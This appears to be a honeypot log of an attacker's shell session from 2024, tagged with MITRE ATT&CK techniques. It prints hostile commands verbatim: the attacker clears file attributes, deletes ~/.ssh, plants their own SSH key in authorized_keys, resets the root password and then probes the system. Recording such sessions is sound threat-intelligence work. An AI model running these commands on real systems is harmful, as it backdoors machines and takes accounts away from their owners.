Honeypot attack session (period 2024), commands issued:
cd ~; chattr -ia .ssh; lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
cat /proc/cpuinfo | grep name | wc -l
echo "root:XstKf8JRs4sj"|chpasswd|bash
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
ls -lh $(which ls)
which ls
w
uname -m
top
uname -a
whoami
df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1070 Indicator Removal
T1098 Account Manipulation
T1222 File and Directory Permissions Modification
T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1087 Account Discovery
T1057 Process Discovery
T1087 Account Discovery